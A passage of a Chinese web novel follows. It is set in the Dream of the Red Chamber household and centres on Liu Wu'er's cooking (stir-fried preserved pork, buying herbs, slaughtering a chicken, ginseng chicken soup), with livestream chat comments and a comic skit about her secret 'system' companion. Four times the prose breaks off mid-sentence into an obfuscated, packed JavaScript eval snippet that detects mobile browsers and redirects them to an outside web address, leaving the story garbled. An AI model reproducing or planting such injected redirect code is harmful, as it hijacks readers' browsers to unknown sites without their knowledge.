柳五儿打开盒子，露出里面半截人参：“我刚去给林姑娘送早食，正巧宝二爷来了，说是北静王府送的老参，让我炖鸡汤给林姑娘补补身子。” 柳嫂子把笋子处理完，在围裙上略擦了擦手，拿起人参细看，点头赞道：“确实是个好东西，须长纹密，少说也有二十年了。” 她盖上盒子，又皱眉道，“不过这人参性热，林姑娘素来体弱，得配些平和的药材才好。” 柳五儿眼睛一亮：“娘说得对！那我等下午去药铺买些枸杞、红枣，再配些......” 见五儿有些纠结，柳嫂子干脆给她定下了食材，“再配点当归、黄芪补气血，茯苓、甘草也来点白术、地黄、肉桂这几味是安神的，你去了问那苏掌柜，他就知道怎么配了。” 柳五儿平日跟着柳嫂子，学得大多都是食材处理、煎炒烹煮，像这药膳之类的却是很少涉及。用到药物，总归要小心些，没得柳嫂子这等经验，是不敢乱来的。 想着林黛玉和薛宝钗的病，柳五儿心里暗自想着，药补不如食补，是药三分毒，若能多学些药膳，从平日饮食中调养起来，也能让这两位姑娘少受些汤药之苦。 不过现下要紧的还是备好食材，把这参鸡汤给做了。 给柳五儿指明了方向，柳嫂子也就接着做饭了。 把笋片都拢到盆里，把一旁的腊肉拿过来，这腊肉是去岁熏得，外皮乌亮、肥瘦相间，一刀切下去，红白分明的纹理便露了出来，肥的部分近乎透明，瘦的则泛着红色。 起锅烧热，直接把腊肉片倒进去。热锅一激，腊肉立刻“滋滋”地冒出油来，透明的脂油渐渐浸润了整锅，腊肉片边缘微微卷起，油脂的咸香混着松木的烟熏味，香味越来越浓。 柳嫂子一手翻动锅铲，一手把盆里的春笋片下锅，青白的笋片沾上腊肉的油脂，顿时鲜亮起来。手腕一抖，锅铲翻飞间，笋片与腊肉交织，锅气腾腾。最后撒上一把青蒜段，出锅！ ...... 【笋片：烫jio！烫jio！】 【这油爆声好像我减肥时的颅内狂欢（肚子里是什么死动静）】 【腊肉炒笋！下饭神器！怒吃三碗！】 【哈哈，已备好炸鸡外卖，休想伤我一丝一毫！】 【若我拿出油焖大虾+清炒油麦菜+......阁下该如何应对呢？（奸笑）】 【风吹刘海沧桑脸.jpg】 ...... 柳五儿在一边也把别的吃食准备好了，豆浆热一下就成，顺带把早晨给柳嫂子留的豆腐皮包子给热上，再添上个大窝头。 系统小团子从柳五儿袖口滚出来，扒着灶台边缘偷瞄腊肉：“宿主，这肉炒出来能给我尝一口吗？就一口！” 柳五儿偷偷捡了一片腊肉，放到小团子手里，趁机戳它脑门：“药材铺隔壁就是蜜饯铺子，办好差事，给你买李子脯。” 小团子立刻立正敬礼：“保证完成任务！”屁颠屁颠地在一边啃肉了。 柳嫂子把五儿带回来的人参放进柜里锁上。她这丫头人倒是机灵，就是做事还是不细致，这么要紧的东西，往灶台上一放就不管了，也不怕人顺走。 五儿和柳嫂子忙活了一早上，总是是能坐下吃饭了。 “快尝尝咸淡。”柳嫂子夹起一筷子腊肉笋片放到柳五儿碗里。 柳五儿掰了一块儿窝头，先尝了个笋片，吸足了腊肉的咸鲜，咬下去脆嫩又不干巴；腊肉肥而不腻，瘦而不柴，柳嫂子应该是提前处理过了，咸味并不重。 ...... 直播间弹幕： 【这色泽...我嘴里自动分泌口水了】 【腊肉的油脂浸润笋片，这画面太罪恶了】 【突然理解什么叫“咬春”了】 【啊啊啊！柳嫂子的手艺，隔着屏幕都能闻到香！】 【有一种筷子伸不进屏幕的无力感.QAQ】 【所以......鸡呢？到时候会有一只鸡自动跳到锅里吗？大胆猜测.jpg】 【主播挑鸡时能不能直播？我想学选老母鸡（举手）】 【在菜市场寸步难行的年轻人dbq】 【楼上演我......】 ...... “正好。”柳五儿眯起眼，狠狠咬了一大口窝头，吃得十分满足。 又去盛了碗的豆浆，这豆浆滤得细，熬得浓，碗面上还能结一层薄薄的豆皮。就着热腾腾的竹笋炒腊肉，一口咸鲜、一口清甜。 柳嫂子也尝了五儿专门给她留的豆腐皮包子，嘴上说着，“这包子倒是做的有花样，这种精巧物什给林姑娘就是了，你这丫头还专给我留着，我也就是吃个肚饱。” 手上却已经夹起下一个来。 柳五儿憋着笑，把豆浆往母亲手边推了推：“娘慢慢吃，小心噎着。” ...... 直播间弹幕瞬间笑疯： 【《嘴硬の柳妈妈》】 【柳嫂子：我女儿真棒！（骄傲脸）】 【哈哈哈身体比嘴诚实系列+1】 【五儿：娘您少吃两个我就信了】 【不是提倡要三胎吗，我就要五儿这样的，要三个！】 【哈哈，一个做午饭，一个做晚饭，一个做夜宵是吧（挑眉）】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276552|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ...... 吃过饭，柳五儿出门先去选鸡。贾府的鸡舍在东北角，老远就听见“咕咕”的叫声。 养鸡的何婆子正在撒谷子，见她来了，笑着招呼：“五儿姑娘来了，今儿个来挑什么呀？” 柳五儿在厨房帮忙时，各处的活都是做过的，食材采买、摘菜洗菜、点心炒菜、烧饭做汤......这来鸡舍选鸡也是一项。 平日五儿爱唠嗑，打听点小八卦，小姑娘又长得清秀、嘴甜伶俐，主要是柳嫂子宝贝这唯一的女儿，所以何婆子也对柳五儿和善。 柳五儿蹲下来细看。笼子里几只母鸡正低头啄食，羽毛油光水滑。她相中一只黄褐色的，鸡冠鲜红，眼神炯炯。 何婆子会意，利落地捉出来掂了掂：“这只少说三斤半，看这肚子，平日谷子没少吃呢。” “就要它了！”柳五儿选好了鸡，叫何婆子帮忙做好标记，明日再来拿。 那只鸡哪知道自己鸡生还剩不到一日了，这会儿还“咯咯哒、咯咯哒”地到处闲逛，殊不知命运的齿轮已经缓缓转动...... 白日厨房里还有活要做，等忙完已是半下午了，柳五儿赶紧挎上竹篮，出府去买炖汤的药材。 出了贾府后门，春末的风里还带着几分凉意，吹得路旁柳枝轻晃。 柳五儿心里盘算着要买的药材：当归、黄芪、茯苓、甘草......柳嫂子说的这几样都要备齐，还得问问苏掌柜配比。 转过街角，远远就看见“济世堂”的招牌。药铺门脸不大，却收拾得齐整。柜台后的苏掌柜正在称药，见柳五儿进来，笑着招呼：“五儿姑娘来了，今儿要抓什么药？” “苏掌柜好。”柳五儿将竹篮放在柜台上，取出那张写着药材的单子，"要炖参鸡汤用的，您看怎么配妥当？” 柳嫂子怕柳五儿记不下来，专门写在纸上给她带着，省得买错了。 苏掌柜接过单子，从老花镜上方瞅了瞅，便转身从药柜取药，“人参性热，得配上些平和的。我再给你添两片陈皮理气。” 柳五儿认真记着，看苏掌柜熟练地包好一包包药材。黄褐色的当归片散发着淡淡药香，雪白的茯苓块又像小石子般可爱。 苏掌柜最后那张大药包把这些一块儿包好，放进柳五儿的竹篮里，还特意叮嘱：“参要后放，文火慢炖两个时辰才好。” 柳五儿谢过苏掌柜，提着竹篮走出药铺，往隔壁蜜饯铺子走去。 蜜饯铺门口挂着红漆招牌，檐下悬着串串风干果脯。刚跨过门槛，甜香便钻进鼻尖。柜台里排着各色蜜饯：琥珀核桃、翡翠般的青梅、裹着糖霜的山楂球....... "小娘子要些什么？"老板娘掀开里间的棉布帘子出来，手上还沾着糯米粉。 柳五儿踮脚指着最里头的罐子：“劳烦称半斤李子脯，要糖霜多的那种。” “姑娘好眼力！”老板娘取下罐子笑道，“这是今春新腌的，用的可是蜂糖。”她舀起一勺，紫红色的果干上还凝着晶莹糖粒。 12.战斗鸡 柳五儿接过油纸包，指尖沾了些糖霜，忍不住捻了一粒李子脯放入口中。果肉厚实绵软，比直接吃果子少了点汁水感，但又多了些哏啾啾的口感。 果肉酸得让人口里迅速分泌口水，还带有一丝咸味，能微微尝到一点蜂蜜的香甜，外头的糖霜在舌尖化开，中和了果肉的酸味。 “宿主！”系统小团子从袖袋里探出脑袋，黑豆眼直勾勾盯着油纸包，“说好的李子脯......” “小馋鬼。”柳五儿戳了戳它圆滚滚的身子，趁店长转过身去，拿了一块递给系统。小团子立马抱住，啃得满身糖霜，活像滚了面粉的元宵。 蜜饯铺子的老板是个精干的姐姐，约莫二十来岁。见柳五儿爱吃，又推荐起了别的品类，“姑娘要不要再称些芝麻糖？新熬的糖浆，裹着炒香的芝麻......”说着掀开一个陶罐，甜香扑面而来。 柳五儿咽了咽口水，荷包里铜钱却所剩无几。 她现在在贾府厨房做活，一个月是700文的月钱，虽说不算少了，但是她平日惯爱吃些好的，也常到外头买时蔬瓜果，也不曾存下多少钱。 今天出门也没多带铜钱，一会儿还要买菜，可是不够买芝麻糖了。 正犹豫间，忽见柜台角落堆着些形状不规则的糖块，老板顺着她目光解释道：“这是熬糖时锅边的糖脆，虽不规整，滋味却也是一等一的。” “那便再来二两糖脆。”柳五儿数出几枚铜钱，只得暗自记下，下回定要买来尝尝。 老板看柳五儿也合自己眼缘，又偷偷往油纸包里塞了块儿芝麻糖。 ...... 直播弹幕区： 【五儿对林妹妹真的好细心，又是送早食又是炖汤，宝二爷该有危机感了（狗头）】 【五儿这效率，上午送餐中午炒菜下午买药，比我写论文快多了（泪目）】 【蜜饯铺老板是隐藏好人啊！偷偷塞芝麻糖什么的】 【五儿月钱700文，按照购买力换算......（掏出算盘）相当于现代打工人月薪3000还要买进口水果，泪目了（哭）】 【糖脆才是精髓！熬糖锅边的焦香yyds！老板是懂行的，有没有主播直播带个货！（疯狂暗示）】 【五儿省钱的亚子像极了我双十一剁手后的卑微】 【这果脯看着好香，斯哈斯哈，蓝色软件，启动！】 ...... 出了果脯铺子，柳五儿赶紧往菜市场走，买菜最好的时候是在早晨，菜都新鲜水灵，还能挑拣。 现在离收摊都不远了，也不知道还有没有合适的菜。好在系统小团子也不算一无是处，能清晰检测到菜品新鲜度与食用价值。 柳五儿进了菜市场，小团子便啃着李子脯含糊道：“宿主，检测到前面第三家摊位有优质食材，建议优先采购！” 柳五儿快步走过去，只见摊位上摆着几把嫩绿的菠菜，叶片上还挂着水珠，新鲜得很。 她蹲下身，正准备挑两把菜，忽见摊位角落的竹筐里堆着金灿灿的油面筋，个个圆鼓鼓的，表皮酥脆还泛着油光，一看就是今天刚做出来的。 “咦？这油面筋看着倒是新鲜。”她伸手轻轻一捏，面筋弹性十足，指尖还沾上一点油脂。 摊主是个四十来岁的妇人，鬓角微汗，袖子卷到手肘，显然刚忙活完。 她见柳五儿感兴趣，笑着道：“姑娘好眼力，今儿炸面筋的油温没控好，第一锅废了，重做耽搁了时辰，出摊比平日晚些。不过菜倒是刚摘的，您瞧这菠菜，还带着露水呢。” 柳五儿顺着她指的方向看去，果然，菜摊上的菠菜青翠欲滴，叶片上还有水珠滚动，旁边的茼蒿、小白菜也鲜嫩得很，显然是今日现摘的。 小团子在她袖子里拱了拱，探出半个脑袋，黑豆眼滴溜溜转：“宿主！油面筋新鲜度98%，菠菜水分充足，建议购入！” 柳五儿心里盘算着，油面筋塞肉是道好菜，再配上道绿菜，倒解决了宝钗的菜品问题。 便问道：“这油面筋怎么卖？” “五文钱十二个，姑娘若要，我再饶您一个。”妇人爽快道，“今儿出摊迟，卖完也好早些回家。” 柳五儿点点头，数出铜钱，又挑了两把菠菜、一捆嫩茼蒿，选了几个圆滚滚的土豆和一根粗壮的山药。 妇人手脚麻利地包好，临了还塞了两颗小葱：“姑娘下回再来，我这儿菜都是自家地里种的，比别处新鲜。” 柳五儿道了谢，提着菜篮子离开。小团子从她袖口钻出来，扒在篮沿上嗅了嗅油面筋：“宿主是打算做油面筋塞肉吧？” “馋猫！”柳五儿戳了戳它圆滚滚的身子，笑道，“我多买了些，明日除去给宝钗做的，还能给你留几个。” 小团子听了，又满足地缩回去。 回到小厨房，柳嫂子正在收拾灶台，见柳五儿回来，笑着问她：“药材都买齐了？” “嗯，苏掌柜还特意加了陈皮，说能理气。”柳五儿将竹篮放下，取出药材和食材，一一放好。 柳嫂子看了看药材，满意地点点头：“配得没问题。明天一早我帮你把鸡处理好，你专心炖汤就行。” “谢谢娘！”柳五儿心里暖暖的，有柳嫂子在，她总觉得一切都能安排得妥妥当当。 等到傍晚，宝玉房里的晴雯也来传话，宝钗那边同意了，第二天在梨香院里摆一桌春日宴。 ...... 第二天一早，柳五儿就往鸡舍去了。 养鸡的婆子见她来了，把昨天挑的那只鸡提出来，那鸡似知大限将至，扑腾着翅膀“咯咯”直叫。 五儿确认无误，何婆子就把那只鸡利落捆好递给她，“五儿姑娘小心着些，这鸡闹腾的很。” “好家伙，还挺精神。”柳五儿挽起袖子，拎着鸡脚把那鸡倒提着。鸡扑腾了几下，似乎是发现难逃掌控，就不再动了。 柳五儿拿上鸡往回走，路上却碰见宝玉。 “哎，五儿！我正找你呢......”宝玉和晴雯迎面走来。 话音未落，柳五儿手里的鸡突然挣脱草绳，扑棱着朝宝玉面门飞去！ “宝二爷小心！”柳五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301402|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿急得大喊一声。 宝玉闻声抬头，还没反应过来，那鸡已经扑到了他面前。晴雯慌忙上前挡着，却被鸡翅膀扇了一脸灰。 宝玉先是一愣，随即大笑起来，“好一只神气的鸡将军！” 那鸡落在宝玉脚边，竟也不跑了。柳五儿气喘吁吁地追上来，见宝玉不但没生气，反而饶有兴趣地蹲下身与鸡对视，这才松了口气。 ...... 【鸡哥冲啊！】 【宝二爷：第一次被母鸡投怀送抱（捂脸）】 【五儿此刻内心OS：我的月钱够赔吗...】 【建议鸡哥转职当信鸽，这准头绝了】 【红楼梦版愤怒的小鸟现场版！】 【五儿颤抖的手：我的参鸡汤...我的升职加薪...】 【鸡：我命由我不由天！扑棱翅膀jpg】 【建议给鸡哥开个副线剧情：《重生之我在贾府当战斗鸡》】 【晴雯：为我发声！！】 ...... 趁这鸡不扑腾了，柳五儿赶紧和晴雯一起把它重新捆起来，五儿恨恨地在鸡爪子上多缠了几圈。难怪这鸡半天没动静，在这儿等着她呢。 宝玉拍了拍衣袖，调侃道，“五儿这鸡选得倒是好，还没炖呢，就急着要进我肚子里了。” 柳五儿一时失手，这会儿尴尬地不敢抬头。 宝玉咳了两声，想起正事，“我昨儿个刚在梨香院砌了个新炉子，专为烹茶煮酒用。那炉子火候均匀，炖汤也是合适。不如就用它来炖这参鸡汤如何？” 宝玉那日跟黛玉提了这事，被黛玉给驳了，但心思却未歇，又去和宝钗商量，在院里砌了个炉子。 柳五儿只得应下，“这参鸡汤要煮一个多时辰，怕是那炉子火力不够。还是先在厨房处理好，最后去院里用炉子焖着吧。” 虽说这和宝玉原先设想的有些出入，但也算圆了他的心思，就同意了。 柳五儿处理完这乌龙，赶紧和宝玉告退，往厨房走去。 回到小厨房，柳嫂子已经把鸡肚子里要塞的糯米给泡上了。 见五儿带着扑棱鸡回来，柳嫂子赶紧上前接过，手指在鸡脖子上轻轻一捋，那鸡便像是被拿住了命门，顿时安静了几分，“这鸡倒是个有脾气的。” 柳嫂子又捏了捏鸡胸骨，翻过来看了看，很是满意，“这鸡选得不错，肉多、又紧实，一看平时就没少动弹。” ...... 【鸡：这届顾客怎么还带验货的？？】 【柳嫂子副业之我在红楼当禽类质检员】 ...... 不再啰嗦，柳嫂子赶紧开始处理这鸡。要用的东西都准备好了。 柳嫂子取了个粗瓷碗，碗底浅浅盛着一勺清水，又往里撒了点儿盐。她左手攥紧鸡翅膀，右手捏着鸡头往后一扳，露出脖颈处一片细软的绒毛，刀子在鸡脖子上利落地划开一道口子。 鸡血淅淅沥沥地滴进碗里，鸡爪子猛地蹬了两下，翅膀挣了挣，但很快便没了力气，只剩下几丝微弱的颤动。 13.参鸡汤 灶上已经烧好了半锅水，还冒着热气。柳嫂子提着鸡脚，先过一遍凉水，再把整只鸡往滚水里一浸，正反面烫上两三分钟。 鸡毛遇热，毛孔舒张，原本紧贴的羽毛顿时蓬松起来。 “烫毛的水温要刚好，太烫了皮就破了，太凉了毛又褪不干净。” 柳嫂子边操作边给柳五儿传授技巧，手指在鸡背上轻轻一捻，鸡毛便簌簌脱落，成了只无毛鸡。 最难处理的是细毛。柳五儿搬了个矮凳坐下，膝上垫了块粗布，开始仔细地拔没处理干净的毛。 鸡翅膀根处的细羽需用指甲逆着毛根一点点刮，鸡爪子上的老皮也要褪净，用刀背轻轻一刮，就能露出底下淡粉色的嫩皮。 柳五儿把褪净毛的鸡摆在案板上，肚皮朝上。 柳嫂子拿着刚磨的刀，从鸡胸骨下端划开，刀尖贴着内脏的薄膜游走。既不能戳破苦胆，又不能留半点脏血。 鸡心、鸡肝、鸡胗一一分离取出，放入不同碗中——鸡胗要切片爆炒，鸡心可卤作小食，鸡肠洗净能涮锅子吃。 柳嫂子动作娴熟，行云流水，看着都赏心悦目，倒是减弱了杀生的负罪感。 “娘的手法真是利落。”柳五儿赞叹道。 柳嫂子笑道：“做了几十年饭，这点本事还是有的。” 柳嫂子边说边从鸡腹中把鸡油剥离出来，黄澄澄的一小团，“这鸡油真厚，留着一会儿炼了油炒菜吧。” 柳五儿接过处理好的整鸡，开始整形，好方便一会儿填馅炖煮。去掉鸡头、鸡屁股，在大腿内侧开个小口，用清水里外冲洗了几遍，再无血水就能开始填馅了。 ...... 【鸡：我这一生，如履薄冰（安详闭眼）】 【no no no，应该是如入火炉】 【好冷的死亡笑话...】 【不不不，是火热的笑话（打不过就加入）】 【鸡爪子：粉色娇嫩，我如今几岁？】 【建议直播炼鸡油，我外卖炸鸡已就位】 【这解剖教学也太细致了（瑟瑟发抖）】 【别怂！想想待会儿的鸡汤！】 【弹幕逐渐变态，鸡姐一路走好（合十）】 【虽然看着有点害怕，但是这鸡真的有点香的样子】 【这一看就是正宗的走地鸡，现在菜市场都不好买了，就一个字——香！】 ...... 早晨泡上的糯米已经吸水胀开，柳五儿把沥干的糯米倒入陶盆，先往鸡腹里塞上三分之一。 再一一放入人参须、红枣、枸杞、板栗，还有大蒜、姜片。 这参鸡汤不像煎炸的做法，没什么调味料的加入，只能靠外边药材和内里馅料的配合，让鸡肉和糯米吸收最原本的风味，口味清淡的同时也不失鲜甜。 最后塞上剩下的糯米，不用填得太满，一会儿煮的时候还会继续吸收水分，若是这会儿塞满，到时候就要破肚而出了。 馅料填好了，柳五儿把鸡腿穿过之前开的小洞，交叉盘好，糯米代替了鸡内脏，让空瘪的鸡肚子又鼓起来，鸡皮都绷出了饱满的弧度，从外头看着还是一只整鸡。 ...... 【鸡腿交叉绑的样子，莫名像在cosplay优雅贵妇（狗头）】 【鸡：生前没能当贵妇，死后倒是优雅了（泪目）】 【可恶啊，就没有一样我不爱吃的，如何能快速吃上参鸡汤，在线等，急！】 【楼上，建议直接从屏幕穿过去，这样比较快】 【弹幕逐渐从害怕变成流口水，人类的本质是真香】 【突然理解为什么古人说"君子远庖厨"了...太香了顶不住】 ...... 灶上放上厚砂锅，柳五儿把整鸡小心端放其中，清水没过鸡身，底下添了两把柴火，慢慢烧着，再把昨日买的药材和人参一块儿放进纱布包里。 砂锅里水也煮开了，咕嘟咕嘟冒着小泡，柳五儿把上头的浮沫撇掉。这才刚煮一会儿，汤面上就已浮着几星黄色的鸡油。 药材包沉入汤里，把砂锅盖盖上，剩下的就是耐心等待了。 柳嫂子在一边顺便把刚刚剖出来的鸡杂处理了。鸡胗切成薄片；鸡心对半剖开、挤出血块，在水盆里涮干净；鸡肠翻过来用盐搓洗；鸡油也炼出了一小碗。 忙活了一早上，两人还没吃饭，柳嫂子随手拿了碗鸡胗，和青椒炝锅爆炒，又烙了两张葱花饼，招呼柳五儿先垫垫肚子。 柳五儿擦了擦手，坐到桌前。刚出锅的葱花饼金黄酥脆，满是小葱的葱香味，咬一口就掉渣。 鸡胗片刚处理出来，新鲜又炒得脆嫩，青椒的鲜辣裹着油脂的香气，让人食指大动。 ...... 【啊啊啊鸡胗我的最爱！这刀工绝了，薄得能透光！】 【刚说君子远庖厨的出来！这谁顶得住啊（疯狂扒饭）】 【鸡姐の临终关怀实录】 【前面的弹幕快删了让我发！】 ...... 再说宝玉那边，见柳五儿拎着鸡走远，转头对晴雯笑道：“这鸡倒是个有脾气的，咱们去林妹妹那儿瞧瞧，顺便看看炉子砌得怎么样。” 晴雯拍了拍衣袖上的灰，撇嘴道：“二爷尽胡闹，好好的院子砌什么炉子？回头让老太太知道，又该说您不务正业了。” 宝玉浑不在意，抬脚就往黛玉院子的方向走：“你懂什么？烹茶煮酒是雅事，老祖宗见了只会夸我风雅！” ...... 黛玉早晨起来打了套拳，今日五儿要做参鸡汤，也没时间来陪她，黛玉自己在窗前临帖，一个人也解解闷。 外头宝玉已经进了院子，黛玉也没听见什么声响，就见雪雁匆匆进来：“姑娘，宝二爷来了！” 话音未落，宝玉已掀帘而入：“林妹妹，快随我去梨香院！我新砌的炉子今日试火，正好炖五儿的参鸡汤！” 黛玉笔尖一顿，墨汁在宣纸上洇开一小团，无奈地看着宝玉：“这大清早的闹什么，你那三脚猫功夫砌的炉子也敢用？若是塌了，仔细烫着你。” 黛玉搁下笔，含着笑促狭宝玉一句。 宝玉抢过她的笔搁下，又拉上袖子晃悠：“好妹妹，你且信我这一回。昨儿个我盯着工匠们砌的，连砖缝都用糯米浆粘得严严实实。” 黛玉被他拽得踉跄，忙用左手撑住案角，又气又笑：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308240|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你且松手！我这字才写到一半，左右时候还早，你着什么急......” “回来再写也不迟！”宝玉好不容易找着件新鲜事儿，这会儿正在兴头上，一分钟都不想耽搁，心里只想着让林妹妹看看他砌（监工）的炉子。 黛玉被他闹得没法，只得答应：“你且先坐会儿，让我披件衣裳。” 晴雯和雪雁在门外小声嘀咕，知道黛玉躲不过宝玉缠她，早把外衣备好了，给林妹妹披上系好，就往梨香院走了。 ...... 【CP粉狂喜！】 【晴雯雪雁：嗑到了嗑到了（姨母笑）】 【关于贵公子突然沉迷土木工程这件事】 【贾政连夜请家法：逆子！有这手艺不去修长城？！】 【被扯袖子的黛玉好像被rua的小猫啊！】 【附议！脑补出黛玉炸毛.gif】 【建议宝玉改名叫贾·撸猫狂魔·宝玉】 【所以参鸡汤和宝玉的炉子哪个先熟？】 【我赌五毛钱炉子先塌（滑稽）】 【鸡：我在锅里很安详，但炉子可能马上要不安详了】 【黛玉：谢邀，人在梨香院，正在被迫参观豆腐渣工程】 ...... 宝玉兴冲冲引着黛玉进了梨香院，只见东南角新砌的炉子，约莫两尺高，做的不是寻常的方口，像是个葫芦型，瞧着倒是颇有些野趣。 炉子是拿红砖堆起来的，中间抹的黄泥混着稻杆碎，炉壁上还留着几道匆忙抹平的痕迹，显见是赶工所致。 炉膛里这会儿已经烧上炭火了，上头放着把水壶，就快煮开了。 昨日宝玉得了宝钗的同意，就带工匠来砌炉子了。 工匠原是要砌寻常的方口，偏宝玉想起曾在别人家见过的窑炉，非要改成葫芦形，说是上窄下阔才好聚火。 宝玉光知道长什么样子，怎么做的又说不出，拿着树枝在地上比划半天也没什么样子，急得工匠是直搓手。这炉子要的急，要是再耽搁，明日可就干不了了。 最后还是赖大管家从外头请来两个烧琉璃的，用糯米浆混着黄泥抹出个流线型的膛子，中间用炉条给隔开，边上也加固了一圈，这才顺利做下去。 炉门也是精巧。宝玉嫌铁匠打的铜炉门太板正，不合这园子的野意，硬要嵌几块太湖石当炉栅。 工匠们没有办法，只能用铁条在石孔间穿筋搭骨，生怕烧炸了溅着主子。 宝钗在家中最是守规矩，哥哥薛蟠虽爱玩，但却不是像宝玉这样在家里鼓捣，多是去外头和些狐朋狗友混闹。 所以宝钗从前也未见过这样新奇的活计。正巧这炉子是在她院里砌，就借这机会在一旁看看。 炉胚做好了，还需开个烟筒子，宝钗在一旁随口提了句——“怕烟气熏着花”。 宝玉一想确有道理，立时催着在炉上加砌了四个方泥板块，上头放东西更加稳固，烟也能分散些，不那么大。 着急忙慌可算是完了工，又抓紧时间拿火烤这炉子。刚砌好的炉子还不牢固，得把黄泥、砖块给烘干了才能用。 宝玉趁着大家去拿工具，偷摸捡了根树枝，在炉壁上划了几笔。 14.小剧场 场景：梨香院的小花厅内，柳五儿正忙着准备参鸡汤的最后步骤，黛玉在一旁翻书，宝玉和宝钗在讨论诗稿。系统小团子偷偷从柳五儿的袖口溜出来，扒在食盒边缘偷看锅里的鸡汤。 黛玉（余光瞥见一团白影，抬头）：“五儿，你袖口那团……是何物？” 柳五儿（手一抖，勺子差点掉进锅里）：“啊？姑娘说什么？” （心虚地瞥向袖口，发现系统团子不见了！） 系统小团子（惊慌失措，滚到黛玉脚边，抬头看向柳五儿）：“宿、宿主！我被发现了！” （缩成一团） 黛玉（低头盯着脚边的“糯米汤圆”，杏眼微睁）：“这是……会说话的汤圆？！” （伸手戳了戳团子） 宝玉（闻声凑过来）：“林妹妹，什么汤圆？” （顺着黛玉的目光看去，却什么也没看见） 宝钗（疑惑）：“林妹妹可是眼花了？” 黛玉（坚定地摇头）：“分明在此！” （拎着团子的短尾巴，把它提起来） 系统小团子（小短腿乱蹬）：“放开我！宿主！救命啊——” 柳五儿（扶额）：“完了……”（小声对团子）：“你不是说除了我，别人看不见你吗？！” 团子（委屈）：“我也不知道怎么回事啊！” （黑豆眼飙泪） 黛玉（眯眼）：“五儿，这到底是何物？若不从实招来……”（作势要捏团子） 柳五儿（慌忙）：“姑娘饶命！这是……这是我的小宠物！”（胡诌） 黛玉（不信）：“我怎未见过？瞧着像只猫儿，但又无毛，倒像是只汤圆。难不成…是只妖怪？” （托腮，盯着柳五儿） 团子（炸毛）：“你才是妖怪！本系统可是$&@?%**可是#@’$&@#哎呀，反正不是妖怪！” （警告！警告！请勿泄露系统机密！请勿泄露系统机密！） 宝玉（兴奋）：“莫非是古籍里的精怪？林妹妹竟能通灵！” （伸手去摸，却穿过了团子） 宝钗（若有所思）：“林妹妹素来灵慧，能见常人所不能见，倒也不奇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311312|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' （淡定喝茶） 黛玉（拎着团子晃了晃）：“说吧，你缠着五儿有何企图？” 团子（泪汪汪）：“我只是个打工统……负责帮宿主修正剧情，顺便吃点好吃的……” （掏出一块李子脯贿赂黛玉） 黛玉（接过李子脯）：“什么剧情？莫非像那话本子，是在编排我们？” 柳五儿（疯狂摆手）：“不敢不敢！我们是来帮大家的！比如……让姑娘少喝药！” 团子（点头如捣蒜）：“对对对！宿主天天琢磨怎么食补，让姑娘少喝药！” 黛玉（神色稍缓，轻哼）：“罢了，这小团子倒是可爱，我也想养一只了呢。” （趁机又rua了一把团子的脸） 团子（滚回柳五儿肩上，揣手手）：“宿主，最近系统在升级更新，能量不太稳定…” （偷偷看柳五儿的反应） 宝玉（看着黛玉和柳五儿对着空气说话，茫然）：“你们在打什么哑谜？” 宝钗（微笑）：“宝兄弟，有些事……不知为妙。”（递给他一块酥糖堵嘴）